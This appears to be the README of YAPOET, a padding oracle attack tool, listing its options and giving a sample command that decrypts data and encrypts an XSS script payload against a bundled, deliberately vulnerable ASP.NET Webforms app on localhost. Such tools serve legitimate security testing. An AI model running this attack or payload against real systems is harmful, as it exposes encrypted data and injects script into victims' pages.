YAPOET

Comprehensive description will be added later. Presently you can try to play with it against included example of a vulnerable ASP.NET Webforms application:

\Examples\ASP.NET-Webforms\BuildAndRun.cmd
python yapoet.py -u http://localhost:8080/ -d "aEMei5bwchHQqb6rh17Irg==" -e "<script>alert(/XSS/)</script>" --data="__VIEWSTATE=&Answer=&EncryptedAnswer=%encrypted_data%"

Usage

yapoet.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Target URL (e.g. "http://host.domain/?param1=value%2b1&param2=value%2b2")
  -d ENCRYPTED_DATA, --decrypt=ENCRYPTED_DATA
                        Base64-encoded data to decrypt
  -e PLAINTEXT_DATA, --encrypt=PLAINTEXT_DATA
                        Plaintext data to encrypt (CBC mode only)
  --data=POST_DATA      POST data (e.g. "param1=value%2b1&param2=value%2b1")
  --cookie=COOKIE       HTTP Cookie header value
  --block-size=BLOCK_SIZE
                        Cipher block size [default: 16]
  --iv=IV               Initialization vector (e.g. "0x00,0x01,0x39...") [default: 0x00 * BLOCK_SIZE]
  --mode=MODE           Mode of operation (e.g. "ECB" or "CBC") [default: CBC]
  --encode-func=ENCODE_FUNC
                        Function to encode byte array data to string [default: lambda byte_array:
                        __import__('base64').b64encode(byte_array)]
  --decode-func=DECODE_FUNC
                        Function to decode string from byte array data [default: lambda string:
                        __import__('base64').b64decode(string)]
Please note that the value of at least one of the HTTP-request parameters in the URL, POST_DATA or COOKIE 
options should be replaced with an %encrypted_data% placeholder.